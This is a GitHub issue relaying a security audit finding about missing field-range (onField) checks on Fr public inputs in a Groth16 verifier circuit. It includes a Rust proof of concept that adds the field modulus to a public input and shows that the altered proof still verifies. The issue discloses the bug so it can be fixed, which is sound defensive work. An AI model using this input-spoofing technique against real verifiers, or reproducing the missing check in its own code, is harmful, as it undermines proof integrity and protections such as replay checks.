Skip to content

audit: bounds check on field elements of input proof  #10

@manishbista28

Description

@manishbista28

Message from zelic team:

we have implemented a PoC that leverages one of missing input validations, specifically on Fr, to spoof public inputs. Using the missing onField check for Fr, we wrote this fairly simple POC showing the potential impact. If, for example, the public scalars on Fr in the Groth16 proof are used, among other things, for replay protection, then one can take a valid proof (A, B, C, P) where P represents the vector of scalars on Fr, and for any index i for which P[i] + r < 2**254, one can set P[i] = P[i] + r. The proof will have different wire assignments but it will nevertheless pass because of the lack of onField checks.

fn poc() {
    // Deterministic RNG for reproducibility
    let mut rng = ChaCha20Rng::seed_from_u64(12349);
    // Builds the same circuit as in groth16_gc_gate_count.rs, and constructs a valid Groth16 proof
    let circuit = DummyCircuit::<ark::Fr> {
        a: Some(ark::Fr::rand(&mut rng)),
        b: Some(ark::Fr::rand(&mut rng)),
        num_variables: 10,
        num_constraints: 1 << K,
    };

    let (pk, vk) = ark::Groth16::<ark::Bn254>::setup(circuit, &mut rng).unwrap();
    let c_val = circuit.a.unwrap() * circuit.b.unwrap();
    let proof = ark::Groth16::<ark::Bn254>::prove(&pk, circuit, &mut rng).unwrap();

    // // This is what is meant to be verified inside the circuit
    // let verify = Groth16VerifyInput {
    //     public: vec![c_val],
    //     a: proof.a.into_group(),
    //     b: proof.b.into_group(),
    //     c: proof.c.into_group(),
    //     vk: vk.clone(),
    // };

    println!("Previous c_val: {}", c_val);
    use std::str::FromStr;

    // Fr modulus
    let r: BigInt<4> = BigInt::from_str("21888242871839275222246405745257275088548364400416034343698204186575808495617").unwrap();
    let ub = BigInt::<4>::from(1u64) << 254;

    let mut myval = BigInt::<4>::from(c_val.into_bigint());

    myval.add_with_carry(&r);

    if myval > ub {
        panic!("Public input value is out of range for POC");
    }

    println!("New c_val: {:?}", myval);
    let myvec: Vec<BigInt<4>> = vec![BigInt::from(myval)];

    // Custom wires struct, so that public is not vec<ark_bn256::Fr>, but instead vec<BigInt<4>>, so that the wrap around is
    // actually meaningful. This struct implements the various encoding traits needed for the
    // circuit
    let my_pub = PocVerifyInput {
        public: myvec,
        a: proof.a.into_group(),
        b: proof.b.into_group(),
        c: proof.c.into_group(),
        vk: vk.clone(),
    };

    // Run the verification algorithm inside the circuit
    let (verified, _gate_count) = {
        let result: StreamingResult<_, _, bool> =
            CircuitBuilder::streaming_execute(my_pub, 160_000, groth16_verify);

        (result.output_value, result.gate_count)
    };

    // Verified will return true
    println!("verified: {}", verified);
}

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions